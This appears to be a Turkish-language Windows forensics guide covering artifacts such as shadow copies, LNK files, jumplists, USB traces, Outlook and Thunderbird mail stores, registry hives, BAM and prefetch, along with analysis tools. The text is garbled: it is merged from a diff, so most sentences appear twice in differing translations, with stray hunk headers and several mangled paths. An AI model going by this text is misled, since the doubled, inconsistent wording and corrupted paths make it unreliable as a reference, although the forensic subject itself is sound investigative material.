Gölge Kopyası, kullanımda oldukları zaman bile bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen Microsoft Windows'a dahil edilmiş bir teknolojidir.
Bu yedeklemeler genellikle dosya sisteminin kökündeki `\System Volume Information` içinde bulunur ve adları aşağıdaki görüntüde gösterilen **UID'lerden** oluşur:
![](<../../../.gitbook/assets/image (520).png>)
Forensik imajı **ArsenalImageMounter** ile bağladıktan sonra, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) aracı bir gölgeli kopyayı incelemek ve hatta gölgeli kopya yedeklemelerinden **dosyaları çıkarmak** için kullanılabilir.
Forensik imajı **ArsenalImageMounter** ile bağlayarak, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) aracı bir gölge kopyasını incelemek ve hatta gölge kopya yedeklemelerinden **dosyaları çıkarmak** için kullanılabilir.
![](<../../../.gitbook/assets/image (521).png>)
Kayıt defteri girdisi `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`, **yedeklenmeyecek** dosyaları ve anahtarları içerir:
Kayıt defteri girdisi `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`, **yedeklenmemesi gereken** dosyaları ve anahtarları içerir:
![](<../../../.gitbook/assets/image (522).png>)
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` kayıt defteri de `Volume Shadow Copies` hakkında yapılandırma bilgileri içerir.
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` kayıt defteri ayrıca `Hacim Gölge Kopyaları` hakkında yapılandırma bilgilerini içerir.
### Office Otomatik Kaydedilen Dosyalar
### Ofis Otomatik Kaydedilen Dosyalar
Office otomatik kaydedilen dosyaları şurada bulabilirsiniz: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
Ofis otomatik kaydedilen dosyaları şurada bulabilirsiniz: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Kabuk Öğeleri
Bir kabuk öğesi, başka bir dosyaya nasıl erişileceği hakkında bilgi içeren bir öğedir.
Bir kabuk öğesi, başka bir dosyaya erişim bilgilerini içeren bir öğedir.
### Son Belgeler (LNK)
Windows, kullanıcı bir dosyayı **açtığında, kullandığında veya oluşturduğunda** otomatik olarak bu **kısayolları oluşturur**:
Windows **otomatik olarak** bu **kısayolları oluşturur** kullanıcı bir dosyayı **açtığında, kullanıldığında veya oluşturduğunda**:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
* Ofis: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre birer bağlantı da oluşturulur.
Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı oluşturulur.
Bu otomatik olarak oluşturulan bağlantı dosyaları, **dosyanın kaynağı** hakkında bilgi içerir, örneğin bir **dosya** mı yoksa bir **klasör** mü olduğu, dosyanın **MAC zamanları**, dosyanın depolandığı **birim bilgisi** ve **hedef dosyanın klasörü**. Bu bilgiler, dosyaların silinmesi durumunda bu dosyaları kurtarmak için kullanışlı olabilir.
Bu otomatik olarak oluşturulan bağlantı dosyaları, **köken hakkında bilgi içerir** eğer bir **dosya** **ise** veya bir **klasör** **ise**, dosyanın **MAC** **zamanları**, dosyanın nerede depolandığına dair **hacim bilgileri** ve **hedef dosyanın klasörü**. Bu bilgiler, silinmiş olsalar bile bu dosyaları kurtarmak için faydalı olabilir.
Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk kullanıldığı zaman**dır ve bağlantı dosyasının **değiştirilme tarihi**, kaynak dosyanın **son kullanıldığı zaman**dır.
Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı zaman** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın **en son** **kullanıldığı zaman** olarak belirlenir.
Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) aracını kullanabilirsiniz.
Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) kullanabilirsiniz.
Bu araçta **2 set** zaman damgası bulacaksınız:
Bu araçlarda **2 set** zaman damgası bulacaksınız:
* **İlk Set:**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
1. DosyaDeğiştirmeTarihi
2. DosyaErişimTarihi
3. DosyaOluşturmaTarihi
* **İkinci Set:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
1. BağlantıDeğiştirmeTarihi
2. BağlantıErişimTarihi
3. BağlantıOluşturmaTarihi.
İlk zaman damgası seti, **dosyanın kendi zaman damgalarına** referans verir. İkinci set, **bağlantılı dosyanın zaman damgalarına** referans verir.
İlk zaman damgası seti **dosyanın zaman damgalarına** referans verir. İkinci set, **bağlı dosyanın zaman damgalarına** referans verir.
Aynı bilgilere Windows CLI aracı [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) çalıştırarak da ulaşabilirsiniz.
Aynı bilgilere erişmek için Windows CLI aracını çalıştırabilirsiniz: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
Bu durumda, bilgiler bir CSV dosyasına kaydedilecektir.
### Jumplists
Bunlar, her uygulama için gösterilen son dosyalardır. Her uygulamada erişebileceğiniz bir uygulamanın **son kullanılan dosyalarının listesi**dir. Bunlar otomatik olarak oluşturulabilir veya özelleştirilebilir.
Bu durumda, bilgiler bir CSV dosyasında saklanacak.
Otomatik olarak oluşturulan **jumplists**, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` dizininde saklanır. Jumplists, başlangıç ID'si uygulamanın ID'si olan `{id}.autmaticDestinations-ms` formatında adlandırılır.
**Jumplists**
Özel jumplists, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` dizininde saklanır ve genellikle uygulama tarafından dosya ile ilgili önemli bir şey olduğunda oluşturulur (favori olarak işaretlenmiş olabilir).
Bunlar, her uygulama için gösterilen son dosyalardır. **Bir uygulama tarafından kullanılan son dosyaların listesi**'dir ve her uygulamada erişebileceğiniz listedir. Bunlar **otomatik olarak oluşturulabilir veya özelleştirilebilir**.
Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **ilk erişildiği zamanı** ve **değiştirilme zamanı**ni gösterir.
Otomatik olarak oluşturulan **jumplists**, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` dizininde saklanır. Jumplists, başlangıç ID'si uygulamanın ID'si olan `{id}.autmaticDestinations-ms` formatını takip eden şekilde adlandırılır.
Jumplists'i [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) kullanarak inceleyebilirsiniz.
Özel jumplists, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` dizininde saklanır ve genellikle uygulama tarafından dosya ile ilgili **önemli bir şey** olduğunda oluşturulur (belki favori olarak işaretlenmiştir).
Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **erişildiği ilk zamanı** gösterir ve **değiştirilme zamanı** en son zamanı gösterir.
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md) kullanarak jumplists'leri inceleyebilirsiniz.
![](<../../../.gitbook/assets/image (474).png>)
@ -132,31 +136,31 @@ Jumplists'i [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) k
[**Shellbags'ın ne olduğunu öğrenmek için bu bağlantıyı takip edin.**](interesting-windows-registry-keys.md#shellbags)
## Windows USB'lerin Kullanımı
## Windows USB'lerinin Kullanımı
Bir USB cihazının kullanıldığını belirlemek mümkündür çünkü şunların oluşturulmasıyla ilgilidir:
Bir USB cihazının kullanıldığını belirlemek mümkündür çünkü şunlar oluşturulur:
* Windows Son Klasörü
* Microsoft Office Son Klasörü
* Windows Recent Klasörü
* Microsoft Office Recent Klasörü
* Jumplists
Dikkat edilmesi gereken nokta, bazı LNK dosyalarının orijinal yol yerine WPDNSE klasörüne işaret etmesidir:
Bazı LNK dosyalarının orijinal yola değil, WPDNSE klasörüne işaret ettiğini unutmayın:
![](<../../../.gitbook/assets/image (476).png>)
WPDNSE klasöründeki dosyalar, orijinal olanların bir kopyasıdır, bu nedenle bilgisayar yeniden başlatıldığında hayatta kalamazlar ve GUID bir shellbag'den alınır.
WPDNSE klasöründeki dosyalar orijinal dosyaların bir kopyasıdır, bu nedenle PC'nin yeniden başlatılmasını sağlamazlar ve GUID bir shellbag'den alınır.
### Kayıt Defteri Bilgileri
### Registry Bilgileri
USB bağlantısıyla ilgili ilginç bilgiler içeren kayıt defteri anahtarlarını öğrenmek için [bu sayfayı kontrol edin](interesting-windows-registry-keys.md#usb-information).
USB bağlı cihazlar hakkında ilginç bilgiler içeren kayıt defteri anahtarlarının neler olduğunu öğrenmek için [bu sayfaya bakın](interesting-windows-registry-keys.md#usb-information).
### setupapi
USB bağlantısının ne zaman gerçekleştiği hakkında zaman damgalarını elde etmek için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin (`Section start` için arama yapın).
USB bağlantısının ne zaman oluşturulduğu hakkında zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` arayın).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
### USB Dedektifi
[**USBDetective**](https://usbdetective.com), bir görüntüye bağlanan USB cihazları hakkında bilgi edinmek için kullanılabilir.
@ -164,115 +168,115 @@ USB bağlantısının ne zaman gerçekleştiği hakkında zaman damgalarını el
### Tak ve Çalıştır Temizliği
'Plug and Play Temizliği' olarak bilinen zamanlanmış görev, eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. Belirtilen amacının aksine, çevrimiçi kaynaklar, son 30 günde kullanılmayan sürücülerin de hedef alındığını öne sürmektedir. Sonuç olarak, geçen 30 günde bağlanmayan taşınabilir cihazların sürücüleri silinebilir.
'Plug and Play Temizliği' olarak bilinen zamanlanmış görev, eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. En son sürücü paketi sürümünü koruma amacıyla belirtilen görevin aksine, çevrimiçi kaynaklar, son 30 günde bağlı olmayan sürücülerin hedef alındığını öne sürmektedir. Sonuç olarak, son 30 günde bağlı olmayan taşınabilir cihazlar için sürücüler silinebilir.
Görev aşağıdaki konumda bulunur:
Görev aşağıdaki dizinde bulunur:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Görevin içeriğini gösteren bir ekran görüntüsü sağlanmıştır:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Görevin Ana Bileşenleri ve Ayarları:**
- **pnpclean.dll**: Bu DLL, gerçek temizleme işlemini gerçekleştirir.
- **UseUnifiedSchedulingEngine**: Genel görev zamanlama motorunun kullanımını gösteren `TRUE` olarak ayarlanmıştır.
- **pnpclean.dll**: Bu DLL, gerçek temizleme işleminde sorumludur.
- **UseUnifiedSchedulingEngine**: `TRUE` olarak ayarlanmıştır, genel görev zamanlama motorunun kullanıldığını gösterir.
- **MaintenanceSettings**:
- **Dönem ('P1M')**: Görev Zamanlayıcısının düzenli Otomatik bakım sırasında aylık olarak temizleme görevini başlatmasını yönlendirir.
- **Son Tarih ('P2M')**: Görev Zamanlayıcısına, görev iki ardışık ay boyunca başarısız olursa, acil Otomatik bakım sırasında görevi yürütmesi talimatı verilir.
- **Dönem ('P1M')**: Görev Zamanlayıcısını, düzenli Otomatik bakım sırasında aylık olarak temizlik görevini başlatmaya yönlendirir.
- **Son Tarih ('P2M')**: Görevin iki ardışık ay boyunca başarısız olması durumunda, acil Otomatik bakım sırasında görevi gerçekleştirmesi talimatını verir.
Bu yapılandırma, sürücülerin düzenli bakım ve temizliğini sağlar ve ardışık başarısızlıklar durumunda görevin yeniden denemesi için hükümler içerir.
Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar ve ardışık başarısızlıklar durumunda görevin tekrar denemesi için hükümler içerir.
**Daha fazla bilgi için kontrol edin:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## E-postalar
E-postaların **2 ilginç bölümü vardır: Başlıklar ve e-postanın içeriği**. Başlıklarda şu bilgileri bulabilirsiniz:
E-postalar **2 ilginç bölüm içerir: Başlıklar ve e-posta içeriği**. **Başlıklar** içinde şu bilgileri bulabilirsiniz:
* E-postayı **kimin** gönderdiği (e-posta adresi, IP, e-postayı yönlendiren posta sunucuları)
* E-postanın **ne zaman** gönderildiği
* E-postaları **kimin** gönderdiği (e-posta adresi, IP, e-postayı yönlendiren posta sunucuları)
* E-postanın ne zaman gönderildiği
Ayrıca, `References` ve `In-Reply-To` başlıklarında mesajların kimliklerini bulabilirsiniz:
Ayrıca, `References` ve `In-Reply-To` başlıklarında mesajların kimlik numaralarını bulabilirsiniz:
![](<../../../.gitbook/assets/image (484).png>)
### Windows Mail Uygulaması
### Windows Posta Uygulaması
Bu uygulama e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\<kullanıcıadı>\AppData\Local\Comms\Unistore\data\3\` dizini içindeki alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir.
Bu uygulama e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\<kullanıcıadı>\AppData\Local\Comms\Unistore\data\3\` içinde alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir.
E-postaların **meta verileri** ve **kişiler** **EDB veritabanı** içinde bulunabilir: `\Users\<kullanıcıadı>\AppData\Local\Comms\UnistoreDB\store.vol`
E-postaların **meta verileri** ve **kişiler** **EDB veritabanında** bulunabilir: `\Users\<kullanıcıadı>\AppData\Local\Comms\UnistoreDB\store.vol`
Dosyanın uzantısını `.vol` yerine `.edb` olarak değiştirerek [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) aracını kullanabilirsiniz. `Message` tablosu içinde e-postaları görebilirsiniz.
Dosyanın uzantısını `.vol`'den `.edb`'ye değiştirerek [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) aracını kullanabilirsiniz. `Message` tablosu içinde e-postaları görebilirsiniz.
### Microsoft Outlook
Exchange sunucuları veya Outlook istemcileri kullanıldığında bazı MAPI başlıkları olacaktır:
* `Mapi-Client-Submit-Time`: E-postanın gönderildiği sistem saati
* `Mapi-Conversation-Index`: Konuyla ilgili çocuk mesajların sayısı ve her mesajın zaman damgası
* `Mapi-Conversation-Index`: Konunun çocuk mesajlarının sayısı ve konunun her mesajının zaman damgası
* `Mapi-Entry-ID`: Mesaj kimliği.
* `Mappi-Message-Flags` ve `Pr_last_Verb-Executed`: MAPI istemcisi hakkında bilgi (mesaj okundu mu? okunmadı mı? yanıtlandı mı? yönlendirildi mi? ofiste değil mi?)
* `Mappi-Message-Flags` ve `Pr_last_Verb-Executed`: MAPI istemcisi hakkında bilgiler (mesaj okundu mu? okunmadı mı? yanıtlandı mı? yönlendirildi mi? ofiste değil mi?)
Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişiler verileri ve takvim verileri bir PST dosyasında saklanır:
Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişiler verisi ve takvim verisi şu dizinde bir PST dosyasında saklanır:
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` kayıt defteri yolu kullanılan dosyayı gösterir.
Kullanılan dosyayı gösteren kayıt defteri yolu `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`'tur.
PST dosyasını [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) aracını kullanarak açabilirsiniz.
![](<../../../.gitbook/assets/image (485).png>)
### Microsoft Outlook OST Dosyaları
Bir **OST dosyası**, Microsoft Outlook'un **IMAP** veya **Exchange** sunucusuyla yapılandırıldığında oluşturulur ve bir PST dosyasına benzer bilgileri depolar. Bu dosya, sunucuyla senkronize edilir ve **son 12 ay** boyunca verileri saklar, **maksimum 50GB** boyutunda olabilir ve PST dosyasıyla aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST görüntüleyici**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir.
Bir **OST dosyası**, Microsoft Outlook'un **IMAP** veya **Exchange** sunucusu ile yapılandırıldığında oluşturulur ve bir PST dosyasına benzer bilgileri depolar. Bu dosya, sunucu ile senkronize edilir, verileri **son 12 ay** boyunca **maksimum 50GB** boyutunda saklar ve PST dosyası ile aynı dizinde bulunur. Bir OST dosyasını görüntülemek için [**Kernel OST görüntüleyici**](https://www.nucleustechnologies.com/ost-viewer.html) kullanılabilir.
### Ekleri Kurtarma
### Ek Dosyaları Kurtarma
Kaybolmuş ekler aşağıdaki yerlerden kurtarılabilir:
Kaybolan ek dosyalar aşağıdaki yerlerden kurtarılabilir:
- **IE10 için**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- **IE11 ve üzeri için**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
- **IE11 ve üstü için**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Thunderbird MBOX Dosyaları
**Thunderbird**, verileri depolamak için **MBOX dosyalarını** kullanır ve bu dosyalar `\Users\%KULLANICIADI%\AppData\Roaming\Thunderbird\Profiles` dizininde bulunur.
**Thunderbird**, verileri depolamak için **MBOX dosyalarını** kullanır ve bu dosyalar `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` dizininde bulunur.
### Görüntü Küçük Resimleri
### Görüntü Önizlemeleri
- **Windows XP ve 8-8.1**: Küçük resimlerle bir klasöre erişmek, silinmesinden sonra bile resim önizlemelerini depolayan bir `thumbs.db` dosyası oluşturur.
- **Windows 7/10**: `thumbs.db`, UNC yoluyla bir ağ üzerinden erişildiğinde oluşturulur.
- **Windows Vista ve daha yeni sürümler**: Küçük resim önizlemeleri `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` dizininde **thumbcache\_xxx.db** adlı dosyalarda merkezi olarak depolanır. Bu dosyaları görüntülemek için [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) araçları kullanılabilir.
- **Windows XP ve 8-8.1**: Önizlemeleri olan bir klasöre erişmek, silinmesinden sonra bile görüntü önizlemelerini saklayan bir `thumbs.db` dosyası oluşturur.
- **Windows 7/10**: `thumbs.db`, UNC yolu üzerinden bir ağa erişildiğinde oluşturulur.
- **Windows Vista ve sonraki sürümler**: Önizleme önizlemeleri `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` dizininde **thumbcache\_xxx.db** adıyla merkezi olarak saklanır. Bu dosyaları görüntülemek için [**Thumbsviewer**](https://thumbsviewer.github.io) ve [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) araçları kullanılabilir.
### Windows Kayıt Defteri Bilgileri
Geniş sistem ve kullanıcı etkinlik verilerini depolayan Windows Kayıt Defteri, aşağıdaki dosyalarda bulunur:
Geniş sistem ve kullanıcı etkinlik verilerini saklayan Windows Kayıt Defteri, şu dosyalarda bulunur:
- Çeşitli `HKEY_LOCAL_MACHINE` alt anahtarları için `%windir%\System32\Config`.
- `HKEY_CURRENT_USER` için `%UserProfile%{Kullanıcı}\NTUSER.DAT`.
- `HKEY_CURRENT_USER` için `%UserProfile%{User}\NTUSER.DAT`.
- Windows Vista ve sonraki sürümler, `HKEY_LOCAL_MACHINE` kayıt defteri dosyalarını `%Windir%\System32\Config\RegBack\` dizininde yedekler.
- Ayrıca, program yürütme bilgileri Windows Vista ve Windows 2008 Server'dan itibaren `%UserProfile%\{Kullanıcı}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` dosyasında depolanır.
- Ayrıca, program yürütme bilgileri, Windows Vista ve Windows 2008 Server'dan itibaren `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` dosyasında saklanır.
### Araçlar
Kayıt defteri dosyalarını analiz etmek için bazı araçlar kullanışlıdır:
* **Kayıt Defteri Düzenleyici**: Windows'a yüklenmiştir. Geçerli oturumun Windows kayıt defteri üzerinde gezinmek için bir GUI sağlar.
* [**Kayıt Defteri Gezgini**](https://ericzimmerman.github.io/#!index.md): Kayıt defteri dosyasını yüklemenize ve bunları bir GUI ile gezinmenize olanak sağlar. Ayrıca, ilginç bilgiler içeren anahtarları vurgulayan Yer İmleri içerir.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Yine, yüklenen kayıt defteri üzerinde gezinmeye izin veren bir GUIye sahiptir ve yüklenen kayıt defteri içinde ilginç bilgileri vurgulayan eklentiler içerir.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Kayıt defterinden önemli bilgileri çıkarmak için yetenekli başka bir GUI uygulamasıdır.
* **Kayıt Düzenleyici**: Windows'ta yüklüdür. Geçerli oturumun Windows kayıt defterinde gezinmek için bir GUI sağlar.
* [**Kayıt Düzenleyici**](https://ericzimmerman.github.io/#!index.md): Kayıt dosyasını yüklemenize ve GUI ile gezinmenize olanak tanır. Ayrıca, ilginç bilgiler içeren anahtarları vurgulayan yer işaretleri içerir.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Yine, yüklenen kayıt defterinde gezinmenize izin veren bir GUI'ye sahiptir ve yüklenen kayıt defterindeki ilginç bilgileri vurgulayan eklentiler içerir.
* [**Windows Kayıt Defteri Kurtarma**](https://www.mitec.cz/wrr.html): Yüklenen kayıttan önemli bilgileri çıkarmak için yetenekli başka bir GUI uygulamasıdır.
### Silinen Öğeyi Kurtarma
### Silinen Öğe Kurtarma
Bir anahtar silindiğinde bunun belirtilmesine rağmen, yerini alacak bir alan ihtiyaç duyulana kadar kaldırılmaz. Bu nedenle, **Kayıt Defteri Gezgini** gibi araçlar kullanarak bu silinen anahtarları kurtarmak mümkündür.
Bir anahtar silindiğinde, bu şekilde işaretlenir, ancak işgal ettiği alan ihtiyaç duyulana kadar kaldırılmaz. Bu nedenle, **Kayıt Düzenleyici** gibi araçlar kullanılarak bu silinen anahtarların kurtarılması mümkündür.
### Son Yazma Zamanı
Her Anahtar-Değer, son değiştirilme zamanını gösteren bir **zaman damgası** içerir.
Her Anahtar-Değer, son olarak değiştirildiği zamanı gösteren bir **zaman damgası** içerir.
### SAM
SAM dosyası/hivesı, sistemin **kullanıcılarını, gruplarını ve kullanıcı parolalarının** karma değerlerini içerir.
Dosya/hive **SAM**, sistemin **kullanıcıları, grupları ve kullanıcı parolaları** hash'lerini içerir.
`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son oturumu, son başarısız oturum açma, oturum açma sayacını, parola politikasını ve hesabın oluşturulma zamanını elde edebilirsiniz. **Karma değerleri** elde etmek için de dosya/hive **SYSTEM**'e ihtiyacınız vardır.
`SAM\Domains\Account\Users` içinde kullanıcı adını, RID'yi, son girişi, son başarısız girişi, giriş sayacını, parola politikasını ve hesabın ne zaman oluşturulduğunu alabilirsiniz. **Hash'leri** almak için ayrıca **SYSTEM** dosya/hive'ına ihtiyacınız vardır.
### Windows Kayıt Defterindeki İlginç Girişler
@ -280,29 +284,29 @@ SAM dosyası/hivesı, sistemin **kullanıcılarını, gruplarını ve kullanıc
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
{% endcontent-ref %}
## Çalıştırılan Programlar
## Yürütülen Programlar
### Temel Windows İşlemleri
Şüpheli davranışları tespit etmek için [bu yazıda](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) yaygın Windows işlemleri hakkında bilgi edinebilirsiniz.
Bu [yazıda](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) şüpheli davranışları tespit etmek için yaygın Windows işlemleri hakkında bilgi edinebilirsiniz.
### Windows Son Uygulamalar
### Windows Son Uygulamaları
`NTUSER.DAT` kayıt defteri içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda, **çalıştırılan uygulama** hakkında bilgi, **son çalıştırılma zamanı** ve **kaç kez** başlatıldığına dair alt anahtarlar bulunabilir.
Kayıt defterinde `NTUSER.DAT` içinde `Software\Microsoft\Current Version\Search\RecentApps` yolunda, **yürütülen uygulama**, **en son yürütülme zamanı** ve **kaç kez** başlatıldığı hakkında bilgiler içeren alt anahtarlar bulabilirsiniz.
### BAM (Arka Plan Etkinlik Düzenleyici)
### BAM (Arka Plan Etkinlik Düzenleyicisi)
Bir kayıt defteri düzenleyici ile `SYSTEM` dosyasını açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda her kullanıcının **çalıştırdığı uygulamalarla ilgili bilgileri** bulabilirsiniz (yolun içindeki `{SID}` dikkate alınmalıdır) ve **ne zaman** çalıştırıldıklarını (zaman, kayıt defterinin Veri değerinin içindedir).
`SYSTEM` dosyasını bir kayıt düzenleyici ile açabilir ve `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` yolunda **her kullanıcı tarafından yürütülen uygulamalar** hakkında bilgileri (yol içindeki `{SID}` dikkate alın) ve **ne zaman** yürütüldüklerini (zaman, kayıt defterinin Veri değerinin içindedir) bulabilirsiniz.
### Windows Prefetch
Prefetching, bir kullanıcının **yakın gelecekte erişebileceği içeriği görüntülemek için gerekli kaynakları sessizce almasına** olanak tanıyan bir tekniktir, böylece kaynaklara daha hızlı erişilebilir.
Prefetch, bir bilgisayarın sessizce **kullanıcının yakın gelecekte erişebileceği içeriği görüntülemek için gereken kaynakları sessizce almasına** olanak tanıyan bir tekniktir, böylece kaynaklar daha hızlı erişilebilir hale gelir.
Windows prefetch, **çalıştırılan programların önbelleğini oluşturarak** onları daha hızlı yüklemek için önbellekler oluşturur. Bu önbellekler, `.pf` uzantılı dosyalar olarak `C:\Windows\Prefetch` yolunda oluşturulur. XP/VISTA/WIN7'de 128 dosya sınırı, Win8/Win10'da 1024 dosya sınırı vardır.
Windows prefetch, **daha hızlı yüklemek için yürütülen programların önbelleklerini oluşturmayı** içerir. Bu önbellekler, `.pf` uzantılı dosyalar olarak `C:\Windows\Prefetch` yolunda oluşturulur. XP/VISTA/WIN7'de 128 dosya ve Win8/Win10'da 1024 dosya sınırı vardır.
Dosya adı, `{program_adı}-{hash}.pf` şeklinde oluşturulur (hash, yürütülebilir dosyanın yol ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın sadece varlığı, programın bir noktada **çalıştırıldığını** gösterir.
Dosya adı `{program_adı}-{hash}.pf` şeklinde oluşturulur (hash, yürütülebilir dosyanın yol ve argümanlarına dayanır). W10'da bu dosyalar sıkıştırılmıştır. Dosyanın varlığı, programın bir noktada **yürütüldüğünü** gösterir.
`C:\Windows\Prefetch\Layout.ini` dosyası, **önbelleğe alınan dosyaların klasörlerinin adlarını** içerir. Bu dosya, **çalıştırma sayısı**, **çalıştırma tarihleri** ve program tarafından **açılan dosyalar** hakkında bilgiler içerir.
Dosya `C:\Windows\Prefetch\Layout.ini`, **önbelleğe alınan dosyaların klasör adlarını** içerir. Bu dosya, **yürütme sayısı**, **yürütme tarihleri** ve program tarafından **açılan dosyalar** hakkında bilgiler içerir.
Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) aracını kullanabilirsiniz.
```bash
@ -312,36 +316,36 @@ Bu dosyaları incelemek için [**PEcmd.exe**](https://github.com/EricZimmerman/P
### Superprefetch
**Superprefetch**, prefetch ile aynı amaca hizmet eder, **programları daha hızlı yüklemek** için gelecekte yüklenecek olanları tahmin eder. Ancak, prefetch hizmetinin yerini almaz.\
Bu hizmet, `C:\Windows\Prefetch\Ag*.db` dizininde veritabanı dosyaları oluşturur.
**Superprefetch** aynı amaca sahiptir prefetch, **programları daha hızlı yükleyerek** bir sonraki yüklemenin ne olacağını tahmin ederek. Ancak, prefetch hizmetini yerine koymaz.\
Bu hizmet, `C:\Windows\Prefetch\Ag*.db` konumunda veritabanı dosyaları oluşturacaktır.
Bu veritabanlarında **programın adı**, **çalıştırılma sayısı**, **açılan dosyalar**, **erişilen birimler**, **tam yol**, **zaman aralıkları** ve **zaman damgaları** gibi bilgiler bulunur.
Bu veritabanlarında **programın adı**, **çalıştırma sayısı**, **açılan dosyalar**, **erişilen hacim**, **tam yol**, **zaman aralıkları** ve **zaman damgaları** bulabilirsiniz.
